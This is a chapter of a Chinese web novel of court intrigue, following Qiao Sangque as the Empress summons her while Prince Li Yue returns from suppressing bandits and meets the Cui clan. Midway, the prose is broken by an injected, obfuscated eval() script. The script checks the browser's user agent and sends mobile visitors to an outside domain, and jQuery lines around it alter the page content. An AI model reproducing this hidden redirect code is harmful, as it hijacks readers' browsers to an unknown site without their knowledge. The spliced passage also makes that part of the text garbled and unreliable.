肃州山匪悉数剿灭的消息,是五日后传回的。
陛下龙心大悦,李钺还未回京,赏赐已经成箱成箱抬进皇子府。
乔桑雀去过几回四皇子府。
四皇子府占地广,修起来不容易,宅子里的陈设虽已布置好,园子里却还空旷,乔桑雀想,等明年,一切尘埃落定时,四皇子府应也建成了。
何舟尘的人也早已传回消息,与乔桑雀所想不差,是山匪设计。
而乔雪沁因舟车劳顿,到肃州便病了。
李钺从前击外敌、守安宁,本就得民心,他被幽禁时,百姓也以惋惜居多,如今他又立战功,在他回京那日,京都百姓守在朱雀门,夹道相迎。
乔桑雀也去了朱雀门。
只不过她没能瞧见李钺,乔老夫人突然身子不适,她去寻了大夫到乔家,在李钺进城门前就已离开。
而李钺进京后也没有回冬台苑,他要先入宫复命,出宫后又去乔家。
乔桑雀想,等到夜里,他总归是要回冬台苑的。
前些时日那场雨过后,京都便愈发冷了,这几日隐有落雪的架势,屋里温着茶,已烧起了炭。
厨房里小火煮着鱼汤,是李钺爱喝的。
乔桑雀坐在桌前剪窗花,小娃娃的衣裳已经做好寄往湖州,她同往年一样,做些小物件打发光阴。
灵俏端着热水推门而入,她斟酌了会儿,犹豫道:“夫人,已过亥时,可要差人去殿下那里询问一番,又许是,殿下今夜不会回府。”
乔桑雀剪出一朵红梅:“再等等。”
她顿了下,温声对灵俏道:“你若累了,便先睡下,我一人等着便好。”
灵俏抿了抿唇。
灵俏觉得乔桑雀最近有些奇怪,但哪儿奇怪,具体的,她又说不上来。
在灵俏看来,今日朱雀门,纵使得到老夫人身子不适的消息,乔桑雀那时也不该离开。殿下剿匪回京,是天大的喜事,早不病晚不病,在这时病,心里打的什么主意,不用想也知。
无非是想支开夫人。
殿下回京,不见夫人,许会觉得夫人对他并不在乎。男子大多如此,自己可以不在意妻子,却无法忍受妻子不在意自己。
灵俏本来以为乔家是吃准了乔桑雀心善,吃准了乔桑雀不忍心看一老妇人受苦。但后来灵俏又古怪地觉得,其实乔桑雀心里都明白,但她不阻止、不拒绝,甚至隐隐让人觉得,她想要推波助澜,让事情往乔家想要的方向发展。
灵俏摆摆头,沉默地凝望乔桑雀许久,半晌道:“是。”
这夜李钺到底没有回冬台苑。
翌日才听闻,昨夜宫里给李钺办了接风宴,李钺宿在宫里。
冬台苑里议论纷纷——
李钺回京却不回府,京中宴会不止从不带夫人参加,如今连消息都不向夫人知会了。
不管众人如何议论,灵俏听了却是松口气,好在传回的不是殿下宿在乔家的消息。
这日午后,一宫人手持拂尘,赶来冬台苑。
灵俏眼睛亮了亮,以为宫人是奉李钺之命前来。
等到那宫人开口,神色才大失所望地趋于平淡。
原是皇后召见。
从前皇后不是没有召见过乔桑雀。
陛下瞧不上乔桑雀的出身,不会召见,更不必说旁的妃子,唯独皇后召见过乔桑雀几回。
只不过,那几回李钺出面推了。
这位新皇后与故去的先皇后同出于博陵崔氏,若不是嫁入皇家,李钺该称她一声姨母。
听灵俏说,新皇后膝下育有一子,为人宽厚大度,对宫人们尤为宽容。
她虽也对李钺做足了慈爱模样,但乔桑雀知道李钺防着她。
乔桑雀福了福身,对皇后为何要见她有了猜想:“妾室不知礼数,贸然进宫,恐要惊扰了娘娘。”
那宫人一笑:“夫人何须担忧,凡事皆有殿下在后头,殿下行事不羁,夫人还能比殿下更肆意不成?知殿下不喜夫人进宫,娘娘特意出了宫,只为见夫人一面。”
此话一出,不止灵俏皱起眉,乔桑雀眸色也淡了淡。
宫人的话看似揶揄调笑,却是指责李钺目无尊法、与对乔桑雀的漠视。
乔桑雀道:“殿下连日为肃州山匪之事操劳,又日夜兼程赶回京城,皇后娘娘宅心仁厚,想来能够体谅。”
宫人做了个“请”的手势。
皇后备好了车马,只等乔桑雀应下。
马车一路前行,最后在一家酒楼外停下。
宫人引着乔桑雀进入雅间,灵俏被隔开在雅间外。
雅间里,一女子坐在席间,她披着黑色披风,以白纱遮面,身后几个婢女贴身伺候。
见乔桑雀进屋,她取下面纱,露出张雍容和善的脸,她含笑地问:“你就是乔家那孩子?”
乔桑雀福身:“见过娘娘。”
“好孩子,快过来。”皇后朝她招手。
“这些年,陛下不允本宫探望钺儿,连一滴水都不许本宫送去。”金步摇轻晃,皇后偏头看向乔桑雀,感慨道:“好在,钺儿有你陪伴在身边。”
皇后虚拢了拢披风,忽挥了挥手,示意婢女出去。
她揉着眉心,状似头疼般叹息:“但钺儿,实在太不像话。这几年,他父皇与本宫都以为,关关他,就能磨平他的性子,也好叫他遇事时脾气莫再那般喊打喊杀地急躁,哪知他竟半分都没有改变。”
“他这几日做的混账事,本宫知道,他回了京,竟也不回冬台苑去,往乔家倒是跑得勤快。”
“他将你放在了何处?竟是毫不在乎你的感受。”
乔桑雀头低垂着,沉默不语,大概明白了皇后召见她的目的。
皇后道:“钺儿这孩子,自幼就是这般性子,还需得你多给他些耐心。同为女子,本宫自是能理解你的苦闷。”
“他若哪处做得不好,你尽管来找本宫,本宫定帮你劝诫。”
乔桑雀只笑着应好,没表露太多态度。
她自幼与舅舅舅母一起生活,原以为舅舅舅母是她的亲人,会对她好,等来的,却是无边无际的冷待。
舅舅舅母怕她与他们的孩子争,怕她要回父母留下的铺子、生意。寻常人家尚会为那一亩三分地争斗,而崔皇后,她膝下一子一女,孩子年幼,身后有崔家支撑,难道她便能不争不抢看着旁人登上太子之位,看着旁人坐上高台?
人总是贪心,如她,如皇后。
乔桑雀不觉得皇后会毫无芥蒂真心对待李钺,也不认为皇后此番是想为她出头。
而皇后也不急于这一时,见乔桑雀,只是她的第一步。
……
皇后见乔桑雀的事不是秘密,前脚乔桑雀踏上马车,后脚消息就已然传入李钺耳中。
陛下怜爱儿子,让李钺这几日在家中休整。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362074|183730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
几个与李钺年纪相仿的崔家子弟邀了李钺听曲看戏。
戏才唱了一出,下人匆匆行至他身旁低声耳语,说起皇后召见一事。
那崔家子弟眼尖,看出这下人腰间别了腰牌,问:“殿下,怎么了,是府中出了事?”
“无碍。”李钺轻扫了眼这人,摆摆手,散漫示意下人回府去,饮了口茶,不甚在意的模样。
崔家子弟见他这样,露出了然的笑。
府中能有什么事?
左不过家中夫人那些事。
早有传言,说李钺不喜家中夫人,如今亲眼所见,传言不虚。
崔家子弟懒散靠在椅子上,提议:“祖父想念殿下,殿下在肃州时,时常挂念,今日殿下得空,等戏唱完,同咱们一道回崔家见见祖父。”
说罢,他姿势也渐渐摆正起来。
他的祖父,也是李钺外祖,李钺被关三年,与崔家早已生疏,自李钺重回朝堂来,崔家频频示好,李钺却视若无睹。
两位皇子身上都流着崔家血脉,李钺风头正盛,他手腕之狠厉,有目共睹,相比起来,新后所出十皇子逊色太多——十皇子虽年幼,但许多事,已初见端倪。
天下熙熙,皆为利来。
崔家想要长荣,便要在适当的时候,做出适当的选择。
李钺想登上太子之位,也需要崔家助力。
这般想着,崔家子弟心中有了底气,李钺若非想要崔家助力,今日又怎会应约与他听戏?
果不其然,再下一刻,就听李钺应下。
崔家见风使舵,李钺也本就有心在此时与崔家联络。
得到准话,崔家子弟喜上眉梢,也松口气,总算完成长辈嘱托。
他也没发觉,李钺的心不在焉。
然李钺就像一副不将此事放在心上的模样,招了招手,差人询问乔三小姐身体。
“殿下,乔家就如那过江的泥菩萨,值得您这般费心?”崔家子弟皱眉,思来想去,委婉询问。
崔家如今势大,加上李钺应下见面之事,这崔家子弟亦有几分傲气,在李钺面前并不惧怕。
在他看来,李钺若想重回太子之位,又如何能再与乔家牵扯不清?
哪知,只短短这句话,李钺眸色骤然冷淡下来。
崔家子弟心中骇然。
乔家在李钺心中分量竟这般重?
李钺竟这般不分轻重。
他掩下情绪,不动声色笑着将话题引向旁处,心道回府后,定将此事回禀祖父。
而李钺却懒得想这人打的什么算盘。
即便知道,也不会在意。
乔雪沁跑到肃州,在肃州病了,李钺自该关怀。
补药源源不断送进乔家,她身子亦好上不少。
然他想的,却是乔桑雀。
台上戏子唱着那出书生佳人相爱的俗套情节,李钺意兴阑珊。
这事很小,却不知为何,横在心口,久久萦绕。
李钺的耳目势力逐渐扩张,冬台苑发生什么,他若想知道,会有人一一报来。
流言蜚语,无足轻重,手下人分轻重,这些事往往不会同他提及,是他今晨,踏入戏坊时听见的。
竟有人说,乔桑雀,频频与何舟尘往来。
即使是不爱妻子的丈夫,也不能容忍自己的妻子,同旁的男子私会。
李钺想了很久,得到解释。